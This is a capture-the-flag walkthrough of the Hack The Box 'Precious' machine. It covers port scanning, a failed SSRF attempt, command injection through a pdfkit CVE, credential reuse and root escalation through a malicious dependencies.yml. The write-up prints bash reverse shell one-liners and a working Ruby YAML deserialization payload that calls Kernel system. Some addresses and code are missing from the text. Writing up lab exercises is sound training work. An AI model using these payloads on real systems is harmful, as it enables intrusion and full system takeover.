Hackthebox - Precious


└─$ sudo nmap -T4 -sC -O -sV -p-
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 08:58 EST
Nmap scan report for
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds
  • Let's change our /etc/hosts file to add the host precious.htb


  • We land here when going to http://precious.htb/


└─$ gobuster dir -u http://precious.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://precious.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
2022/12/10 09:25:29 Starting gobuster in directory enumeration mode
Progress: 220506 / 220561 (99.98%)===============================================================
2022/12/10 09:35:52 Finished

Nothing here

Burp repeater

$loc = "";

    $loc = $_GET['a'];
header('Location: '.$loc);

Now we just need to put this in our html file

<iframe src="">

So to recap we have burp repeater that will query our server to fetch the html file. The html will then query our php that will query the etc/passwd from our target. Let's try this. I am having troube with the builtin php server, so I am just going to use Apache2.

  • sudo systemctl enable apache2 to enable it

  • sudo systemctl start apache2 to start it

loc = ""

if (request.params.has_key?('a'))
  loc = request.params['a']

response.headers['Location'] = loc

response.headers['Location'] = "file:///etc/passwd"
  • Another interesting article about vulnerabilities in pdf converters

SPOILER ALERT: None of this worked. But I left it here because the articles were interesting and it is an overview of the process when working on CTF. You go through a lot of rabbit holes.

  • Turns out that I saw after it is also using pdfkit. Let's have a look at exploit related to pdfkit v0.8.6

  • We find a CVE for this version of pdfkit CVE-2022-25765

  • This poc is interesting

  • Let's try{'%20sleep 5'}

  • There seem to be a delay for the server to respond.

  • Let's try to get a shell using this method

  • We set a listener rlwrap nc -lvp 4444

  • I tried the following commands from my repeater /bin/bash -i >& /dev/tcp/ 0>&1 and bash -i >& /dev/tcp/ 0>&1 but was not successful

  • We need to move to the user because we got ruby. if we ls on /home we also have user henry. This is the one we should move to.

Lateral movement

  • Here are interestin files to look at that we found with linpeas

drwxr-xr-x 2 root root 4096 Oct 26 08:28 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 38 Sep 26 05:00 /etc/nginx/sites-enabled/pdfapp.conf -> /etc/nginx/sites-available/pdfapp.conf
  • Indeed the file .bundle/config contains a password for Henry

ruby@precious:~$ cat .bundle/config
cat .bundle/config
  • We can then su henry and access the user via the password we found.

  • we can grab the user flag

Privilege escalation

  • Let's ssh as henry ssh henry@

  • We run linpeas again with our new user. Here are things worth investigating

╔══════════╣ Binary processes permissions (non 'root root' and not belonging to current user)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes                                                                                                                                                                 
lrwxrwxrwx 1 root  root        4 Sep 26 04:32 /bin/sh -> dash   

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                                                                             
Matching Defaults entries for henry on precious:                                                                                                                                                                                             
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Here is the content of the update_dependencies.rb file

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()

def list_from_file

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
                puts "Installed version is equals to the one specified in file: " + local_name
  • This means that it is looking for the dependencies. We could create a malicious yml file and put it in Henri's home. The path is not defined in the script so it will look in Henri's home. Let's hope that it works...

  • We can try this script that I found here

apiVersion: v1
kind: Pod
  name: hello-world
spec:  # specification of the pod’s contents
  restartPolicy: Never
  - name: hello
    image: "ubuntu:14.04"
    command: ["/bin/bash"]
    args: ["bash -i >& /dev/tcp/ 0>&1"]
  • The script above does not work and we get no errors.

  • The one that did it is the one I found in this blog post

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/ 0>&1'"
         method_id: :resolve
  • So to recap:

    • I used the code above and put it in file named dependencies.yml in Henri's home folder.

    • I set a listener on port 4444

    • Then when I launched sudo /usr/bin/ruby /opt/update_dependencies.rb I got a root shell

  • We can grab the root flag.

Last updated